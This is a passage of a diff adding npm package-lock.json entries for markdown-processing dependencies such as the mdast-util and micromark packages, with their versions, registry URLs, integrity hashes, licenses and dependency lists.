+ "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/longest-streak": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz",
+ "integrity": "sha512-9Ri+o0JYgehTaVBBDoMqIl8GXtbWg711O3srftcHhZ0dqnETqLaoIK0x17fUw9rFSlK/0NlsKe0Ahhyl5pXE2g==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/lru-cache": {
+ "version": "11.5.2",
+ "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.2.tgz",
+ "integrity": "sha512-4pfM1Ff0x50o0tQwb5ucw/RzNyD0/YJME6IVcStalZuMWxdt3sR3huStTtxz4PUmvZfRguvDejasvQ2kifR11g==",
+ "license": "BlueOak-1.0.0",
+ "engines": {
+ "node": "20 || >=22"
+ }
+ },
+ "node_modules/magic-string": {
+ "version": "0.30.21",
+ "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.30.21.tgz",
+ "integrity": "sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@jridgewell/sourcemap-codec": "^1.5.5"
+ }
+ },
+ "node_modules/magicast": {
+ "version": "0.5.4",
+ "resolved": "https://registry.npmjs.org/magicast/-/magicast-0.5.4.tgz",
+ "integrity": "sha512-llBEhWm1SacoRwgHUoQJYtwp4PBLF4faQi5TCpIGyGs9n4y5+juI0tDgyKIfpqxckRHaHzouUEph3THklWh03w==",
+ "license": "MIT",
+ "dependencies": {
+ "@babel/parser": "^7.29.7",
+ "@babel/types": "^7.29.7",
+ "source-map-js": "^1.2.1"
+ }
+ },
+ "node_modules/markdown-extensions": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/markdown-extensions/-/markdown-extensions-2.0.0.tgz",
+ "integrity": "sha512-o5vL7aDWatOTX8LzaS1WMoaoxIiLRQJuIKKe2wAw6IeULDHaqbiqiggmx+pKvZDb1Sj+pE46Sn1T7lCqfFtg1Q==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/markdown-table": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-3.0.4.tgz",
+ "integrity": "sha512-wiYz4+JrLyb/DqW2hkFJxP7Vd7JuTDm77fvbM8VfEQdmSMqcImWeeRbHwZjBjIFki/VaMK2BhFi7oUUZeM5bqw==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/mdast-util-definitions": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-6.0.0.tgz",
+ "integrity": "sha512-scTllyX6pnYNZH/AIp/0ePz6s4cZtARxImwoPJ7kS42n+MnVsI4XbnG6d4ibehRIldYMWM2LD7ImQblVhUejVQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "unist-util-visit": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-find-and-replace": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz",
+ "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "escape-string-regexp": "^5.0.0",
+ "unist-util-is": "^6.0.0",
+ "unist-util-visit-parents": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-from-markdown": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz",
+ "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "decode-named-character-reference": "^1.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-to-string": "^4.0.0",
+ "micromark": "^4.0.0",
+ "micromark-util-decode-numeric-character-reference": "^2.0.0",
+ "micromark-util-decode-string": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unist-util-stringify-position": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm/-/mdast-util-gfm-3.1.0.tgz",
+ "integrity": "sha512-0ulfdQOM3ysHhCJ1p06l0b0VKlhU0wuQs3thxZQagjcjPrlFRqY215uZGHHJan9GEAXd9MbfPjFJz+qMkVR6zQ==",
+ "license": "MIT",
+ "dependencies": {
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-gfm-autolink-literal": "^2.0.0",
+ "mdast-util-gfm-footnote": "^2.0.0",
+ "mdast-util-gfm-strikethrough": "^2.0.0",
+ "mdast-util-gfm-table": "^2.0.0",
+ "mdast-util-gfm-task-list-item": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-autolink-literal": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-autolink-literal/-/mdast-util-gfm-autolink-literal-2.0.1.tgz",
+ "integrity": "sha512-5HVP2MKaP6L+G6YaxPNjuL0BPrq9orG3TsrZ9YXbA3vDw/ACI4MEsnoDpn6ZNm7GnZgtAcONJyPhOP8tNJQavQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "ccount": "^2.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-find-and-replace": "^3.0.0",
+ "micromark-util-character": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-footnote": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-footnote/-/mdast-util-gfm-footnote-2.1.0.tgz",
+ "integrity": "sha512-sqpDWlsHn7Ac9GNZQMeUzPQSMzR6Wv0WKRNvQRg0KqHh02fpTz69Qc1QSseNX29bhz1ROIyNyxExfawVKTm1GQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.1.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-strikethrough": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz",
+ "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-table": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-table/-/mdast-util-gfm-table-2.0.0.tgz",
+ "integrity": "sha512-78UEvebzz/rJIxLvE7ZtDd/vIQ0RHv+3Mh5DR96p7cS7HsBhYIICDBCu8csTNWNO6tBWfqXPWekRuj2FNOGOZg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "markdown-table": "^3.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-gfm-task-list-item": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-gfm-task-list-item/-/mdast-util-gfm-task-list-item-2.0.0.tgz",
+ "integrity": "sha512-IrtvNvjxC1o06taBAVJznEnkiHxLFTzgonUdy8hzFVeDun0uTjxxrRGVaNFqkU1wJR3RBPEfsxmU6jDWPofrTQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdx": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdx/-/mdast-util-mdx-3.0.0.tgz",
+ "integrity": "sha512-JfbYLAW7XnYTTbUsmpu0kdBUVe+yKVJZBItEjwyYJiDJuZ9w4eeaqks4HQO+R7objWgS2ymV60GYpI14Ug554w==",
+ "license": "MIT",
+ "dependencies": {
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-mdx-expression": "^2.0.0",
+ "mdast-util-mdx-jsx": "^3.0.0",
+ "mdast-util-mdxjs-esm": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdx-expression": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdx-expression/-/mdast-util-mdx-expression-2.0.1.tgz",
+ "integrity": "sha512-J6f+9hUp+ldTZqKRSg7Vw5V6MqjATc+3E4gf3CFNcuZNWD8XdyI6zQ8GqH7f8169MM6P7hMBRDVGnn7oHB9kXQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdx-jsx": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdx-jsx/-/mdast-util-mdx-jsx-3.2.0.tgz",
+ "integrity": "sha512-lj/z8v0r6ZtsN/cGNNtemmmfoLAFZnjMbNyLzBafjzikOM+glrjNHPlf6lQDOTccj9n5b0PPihEBbhneMyGs1Q==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "ccount": "^2.0.0",
+ "devlop": "^1.1.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0",
+ "parse-entities": "^4.0.0",
+ "stringify-entities": "^4.0.0",
+ "unist-util-stringify-position": "^4.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-mdxjs-esm": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-mdxjs-esm/-/mdast-util-mdxjs-esm-2.0.1.tgz",
+ "integrity": "sha512-EcmOpxsZ96CvlP03NghtH1EsLtr0n9Tm4lPUJUBccV9RwUOneqSycg19n5HGzCf+10LozMRSObtVr3ee1WoHtg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree-jsx": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "devlop": "^1.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "mdast-util-to-markdown": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-phrasing": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-phrasing/-/mdast-util-phrasing-4.1.0.tgz",
+ "integrity": "sha512-TqICwyvJJpBwvGAMZjj4J2n0X8QWp21b9l0o7eXyVJ25YNWYbJDVIyD1bZXE6WtV6RmKJVYmQAKWa0zWOABz2w==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "unist-util-is": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-to-hast": {
+ "version": "13.2.1",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-13.2.1.tgz",
+ "integrity": "sha512-cctsq2wp5vTsLIcaymblUriiTcZd0CwWtCbLvrOzYCDZoWyMNV8sZ7krj09FSnsiJi3WVsHLM4k6Dq/yaPyCXA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "@ungap/structured-clone": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "trim-lines": "^3.0.0",
+ "unist-util-position": "^5.0.0",
+ "unist-util-visit": "^5.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-to-markdown": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz",
+ "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "@types/unist": "^3.0.0",
+ "longest-streak": "^3.0.0",
+ "mdast-util-phrasing": "^4.0.0",
+ "mdast-util-to-string": "^4.0.0",
+ "micromark-util-classify-character": "^2.0.0",
+ "micromark-util-decode-string": "^2.0.0",
+ "unist-util-visit": "^5.0.0",
+ "zwitch": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdast-util-to-string": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-4.0.0.tgz",
+ "integrity": "sha512-0H44vDimn51F0YwvxSJSm0eCDOJTRlmN0R1yBh4HLj9wiV1Dn0QoXGbvFAWj2hSItVTlCmBF1hqKlIyUBVFLPg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/mdn-data": {
+ "version": "2.27.1",
+ "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.27.1.tgz",
+ "integrity": "sha512-9Yubnt3e8A0OKwxYSXyhLymGW4sCufcLG6VdiDdUGVkPhpqLxlvP5vl1983gQjJl3tqbrM731mjaZaP68AgosQ==",
+ "license": "CC0-1.0"
+ },
+ "node_modules/micromark": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz",
+ "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@types/debug": "^4.0.0",
+ "debug": "^4.0.0",
+ "decode-named-character-reference": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-core-commonmark": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-combine-extensions": "^2.0.0",
+ "micromark-util-decode-numeric-character-reference": "^2.0.0",
+ "micromark-util-encode": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-resolve-all": "^2.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "micromark-util-subtokenize": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-core-commonmark": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz",
+ "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "decode-named-character-reference": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-factory-destination": "^2.0.0",
+ "micromark-factory-label": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-factory-title": "^2.0.0",
+ "micromark-factory-whitespace": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-classify-character": "^2.0.0",
+ "micromark-util-html-tag-name": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-resolve-all": "^2.0.0",
+ "micromark-util-subtokenize": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-extension-gfm": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm/-/micromark-extension-gfm-3.0.0.tgz",
+ "integrity": "sha512-vsKArQsicm7t0z2GugkCKtZehqUm31oeGBV/KVSorWSy8ZlNAv7ytjFhvaryUiCUJYqs+NoE6AFhpQvBTM6Q4w==",
+ "license": "MIT",
+ "dependencies": {
+ "micromark-extension-gfm-autolink-literal": "^2.0.0",
+ "micromark-extension-gfm-footnote": "^2.0.0",
+ "micromark-extension-gfm-strikethrough": "^2.0.0",
+ "micromark-extension-gfm-table": "^2.0.0",
+ "micromark-extension-gfm-tagfilter": "^2.0.0",
+ "micromark-extension-gfm-task-list-item": "^2.0.0",
+ "micromark-util-combine-extensions": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-autolink-literal": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-autolink-literal/-/micromark-extension-gfm-autolink-literal-2.1.0.tgz",
+ "integrity": "sha512-oOg7knzhicgQ3t4QCjCWgTmfNhvQbDDnJeVu9v81r7NltNCVmhPy1fJRX27pISafdjL+SVc4d3l48Gb6pbRypw==",
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-footnote": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-footnote/-/micromark-extension-gfm-footnote-2.1.0.tgz",
+ "integrity": "sha512-/yPhxI1ntnDNsiHtzLKYnE3vf9JZ6cAisqVDauhp4CEHxlb4uoOTxOCJ+9s51bIB8U1N1FJ1RXOKTIlD5B/gqw==",
+ "license": "MIT",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-core-commonmark": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-normalize-identifier": "^2.0.0",
+ "micromark-util-sanitize-uri": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-strikethrough": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-strikethrough/-/micromark-extension-gfm-strikethrough-2.1.0.tgz",
+ "integrity": "sha512-ADVjpOOkjz1hhkZLlBiYA9cR2Anf8F4HqZUO6e5eDcPQd0Txw5fxLzzxnEkSkfnD0wziSGiv7sYhk/ktvbf1uw==",
+ "license": "MIT",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-util-chunked": "^2.0.0",
+ "micromark-util-classify-character": "^2.0.0",
+ "micromark-util-resolve-all": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-table": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz",
+ "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==",
+ "license": "MIT",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-tagfilter": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-tagfilter/-/micromark-extension-gfm-tagfilter-2.0.0.tgz",
+ "integrity": "sha512-xHlTOmuCSotIA8TW1mDIM6X2O1SiX5P9IuDtqGonFhEK0qgRI4yeC6vMxEV2dgyr2TiD+2PQ10o+cOhdVAcwfg==",
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-gfm-task-list-item": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-gfm-task-list-item/-/micromark-extension-gfm-task-list-item-2.1.0.tgz",
+ "integrity": "sha512-qIBZhqxqI6fjLDYFTBIa4eivDMnP+OZqsNwmQ3xNLE4Cxwc+zfQEfbs6tzAo2Hjq+bh6q5F+Z8/cksrLFYWQQw==",
+ "license": "MIT",
+ "dependencies": {
+ "devlop": "^1.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdx-expression": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdx-expression/-/micromark-extension-mdx-expression-3.0.1.tgz",
+ "integrity": "sha512-dD/ADLJ1AeMvSAKBwO22zG22N4ybhe7kFIZ3LsDI0GlsNr2A3KYxb0LdC1u5rj4Nw+CHKY0RVdnHX8vj8ejm4Q==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-factory-mdx-expression": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-extension-mdx-jsx": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdx-jsx/-/micromark-extension-mdx-jsx-3.0.2.tgz",
+ "integrity": "sha512-e5+q1DjMh62LZAJOnDraSSbDMvGJ8x3cbjygy2qFEi7HCeUT4BDKCvMozPozcD6WmOt6sVvYDNBKhFSz3kjOVQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "estree-util-is-identifier-name": "^3.0.0",
+ "micromark-factory-mdx-expression": "^2.0.0",
+ "micromark-factory-space": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdx-md": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdx-md/-/micromark-extension-mdx-md-2.0.0.tgz",
+ "integrity": "sha512-EpAiszsB3blw4Rpba7xTOUptcFeBFi+6PY8VnJ2hhimH+vCQDirWgsMpz7w1XcZE7LVrSAUGb9VJpG9ghlYvYQ==",
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdxjs": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs/-/micromark-extension-mdxjs-3.0.0.tgz",
+ "integrity": "sha512-A873fJfhnJ2siZyUrJ31l34Uqwy4xIFmvPY1oj+Ean5PHcPBYzEsvqvWGaWcfEIr11O5Dlw3p2y0tZWpKHDejQ==",
+ "license": "MIT",
+ "dependencies": {
+ "acorn": "^8.0.0",
+ "acorn-jsx": "^5.0.0",
+ "micromark-extension-mdx-expression": "^3.0.0",
+ "micromark-extension-mdx-jsx": "^3.0.0",
+ "micromark-extension-mdx-md": "^2.0.0",
+ "micromark-extension-mdxjs-esm": "^3.0.0",
+ "micromark-util-combine-extensions": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-extension-mdxjs-esm": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/micromark-extension-mdxjs-esm/-/micromark-extension-mdxjs-esm-3.0.0.tgz",
+ "integrity": "sha512-DJFl4ZqkErRpq/dAPyeWp15tGrcrrJho1hKK5uBS70BCtfrIFg81sqcTVu3Ta+KD1Tk5vAtBNElWxtAa+m8K9A==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "devlop": "^1.0.0",
+ "micromark-core-commonmark": "^2.0.0",
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-events-to-acorn": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unist-util-position-from-estree": "^2.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/micromark-factory-destination": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-destination/-/micromark-factory-destination-2.0.1.tgz",
+ "integrity": "sha512-Xe6rDdJlkmbFRExpTOmRj9N3MaWmbAgdpSrBQvCFqhezUn4AHqJHbaEnfbVYYiexVSs//tqOdY/DxhjdCiJnIA==",
+ "funding": [
+ {
+ "type": "GitHub Sponsors",
+ "url": "https://github.com/sponsors/unifiedjs"
+ },
+ {
+ "type": "OpenCollective",
+ "url": "https://opencollective.com/unified"
+ }
+ ],
+ "license": "MIT",
+ "dependencies": {
+ "micromark-util-character": "^2.0.0",
+ "micromark-util-symbol": "^2.0.0",
+ "micromark-util-types": "^2.0.0"
+ }
+ },
+ "node_modules/micromark-factory-label": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/micromark-factory-label/-/micromark-factory-label-2.0.1.tgz",
